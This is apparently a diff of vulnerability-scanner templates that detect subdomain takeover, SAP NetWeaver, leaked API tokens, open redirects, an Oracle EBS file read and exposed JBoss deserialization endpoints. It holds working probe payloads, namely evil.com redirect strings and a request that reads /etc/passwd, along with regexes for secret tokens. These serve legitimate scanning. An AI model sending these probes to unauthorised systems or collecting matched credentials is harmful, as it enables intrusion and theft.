+          - This job board website is either expired or its domain name is invalid.

subdomain-takeover/pantheon.io.yaml

@@ -1,15 +0,0 @@
-id: pantheon-io-takeover
-
-info:
-  name: Find Pantheon.io subdomain takeover
-  author: pxmme1337
-  severity: high
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: word
-        words:
-          - "The gods are wise, but do not know of the site which you seek."

subdomain-takeover/worksites-takeover.yaml

@@ -1,16 +0,0 @@
-id: worksites-takeover
-
-info:
-  name: Find worksites-takeover
-  author: melbadry9
-  severity: high
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: regex
-        regex:
-          - "(?:Company Not Found|you’re looking for doesn’t exist)"
-        part: body

technologies/sap-netweaver-as-java-detect.yaml

@@ -0,0 +1,20 @@
+id: sap-netweaver-as-java-detect
+
+info:
+  name: SAP NetWeaver AS JAVA (LM Configuration Wizard) Detection
+  author: dwisiswant0
+  severity: informative
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/CTCWebService/CTCWebServiceBean?wsdl"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "urn:CTCWebServiceSi"
+        part: body
+      - type: status
+        status:
+          - 200

tokens/amazon-mws-auth-token-value.yaml

@@ -6,18 +6,19 @@ info:
   severity: medium
 
 requests:
-  - extractors:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+  matchers-condition: and
+  matchers:
       - part: body
         regex:
           - "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
         type: regex
 
-    matchers-condition: and
-    matchers:
+  extractors:
       - part: body
         regex:
           - "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
-        type: regex
-    method: GET
-    path:
-      - "{{BaseURL}}"
+        type: regex

tokens/aws-access-key-value.yaml

@@ -3,19 +3,20 @@ id: aws-access-key-value
 info:
   name: AWS Access Key ID Value
   author: Swissky
-  severity: medium
+  severity: info
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}"
 
-    matchers-condition: and
-    matchers:
+  matchers-condition: and
+  matchers:
       - type: regex
         part: body
         regex:
           - "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
+
     extractors:
       - type: regex
         part: body

tokens/google-api-key.yaml

@@ -10,12 +10,13 @@ requests:
     path:
       - "{{BaseURL}}"
 
-    matchers-condition: and
-    matchers:
+  matchers-condition: and
+  matchers:
       - type: regex
         part: body
         regex:
           - "AIza[0-9A-Za-z\\-_]{35}"
+
     extractors:
       - type: regex
         part: body

tokens/http-username-password.yaml

@@ -13,12 +13,13 @@ requests:
     path:
       - "{{BaseURL}}"
 
-    matchers-condition: and
-    matchers:
+  matchers-condition: and
+  matchers:
       - type: regex
         part: body
         regex:
           - "(ftp|ftps|http|https)://[0-9A-Za-z\\-_%]+(:|@)"
+
     extractors:
       - type: regex
         part: body

tokens/mailchimp-api-key.yaml

@@ -10,12 +10,13 @@ requests:
     path:
       - "{{BaseURL}}"
 
-    matchers-condition: and
-    matchers:
+  matchers-condition: and
+  matchers:
       - type: regex
         part: body
         regex:
           - "[0-9a-f]{32}-us[0-9]{1,2}"
+
     extractors:
       - type: regex
         part: body

tokens/slack-access-token.yaml

@@ -13,16 +13,18 @@ requests:
     path:
       - "{{BaseURL}}"
 
-    matchers-condition: and
-    matchers:
+  matchers-condition: and
+  matchers:
+
       - type: regex
         part: body
         regex:
           - "xoxp-[0-9A-Za-z\\-]{72}"  # Person
           - "xoxb-[0-9A-Za-z\\-]{51}"  # Bot
+
     extractors:
       - type: regex
         part: body
         regex:
-          - "xoxp-[0-9A-Za-z\\-]{72}"
-          - "xoxb-[0-9A-Za-z\\-]{51}"
+          - "xoxp-[0-9A-Za-z\\-]{72}"  # Person
+          - "xoxb-[0-9A-Za-z\\-]{51}"  # Bot

vulnerabilities/open-redirect.yaml

@@ -12,12 +12,11 @@ requests:
       - "{{BaseURL}}/evil.com/"
       - "{{BaseURL}}///;@evil.com"
       - "{{BaseURL}}/////evil.com"
-      - "{{BaseURL}}//evil.com/%2F.." # Node.js
-      - "{{BaseURL}}//evil.com/..;/css" # Tomcat
-      - "{{BaseURL}}/evil%E3%80%82com" # special char urlencoded
+      - "{{BaseURL}}//evil.com/%2F.."
+      - "{{BaseURL}}//evil.com/..;/css"
+      - "{{BaseURL}}/evil%E3%80%82com"
       - "{{BaseURL}}/%5Cevil.com"
-      # common vulnerable parameters
-      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com"
+      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
     matchers:
       - type: regex
         regex:

vulnerabilities/oracle-ebs-bispgraph-file-access.yaml

@@ -0,0 +1,15 @@
+id: oracle-ebs-bispgrapgh-file-read
+info: 
+  name: Oracle EBS Bispgraph File Access
+  author: "Alfie Njeru (@emenalf) - https://the-infosec.com"
+  severity: Critical
+requests:
+  - method: GET
+    path: 
+      - "{{BaseURL}}/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/"
+
+    matchers: 
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

vulnerabilities/rce-via-java-deserialization.yaml

@@ -0,0 +1,20 @@
+info:
+  name: Java Deserialization [RCE]
+  author: uhnysh
+  severity: critical
+
+# This can only be used to detect the vuln, please make sure to run ysoserial over the URLs to verify.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/josso/%5C../invoker/EJBInvokerServlet/"
+      - "{{BaseURL}}/josso/%5C../invoker/JMXInvokerServlet/"
+      - "{{BaseURL}}/invoker/JMXInvokerServlet/"
+      - "{{BaseURL}}/invoker/EJBInvokerServlet/"
+    matchers:
+      - type: word
+        words:
+          - "org.jboss.invocation.MarshalledValue"
+          - "java.lang"
+        condition: or

workflows/sap-netweaver-workflow.yaml

@@ -0,0 +1,15 @@
+id: sap-netweaver-workflow
+
+info:
+  name: SAP NetWaver Workflow
+  author: dwisiswant0
+
+variables:
+  sap_netweaver_as_java: technologies/sap-netweaver-as-java-detect.yaml
+  sap_netweaver_as_java_cve_1: cves/CVE-2020-6287.yaml
+
+logic:
+  |
+  if sap_netweaver_as_java() {
+    sap_netweaver_as_java_cve_1()
+  }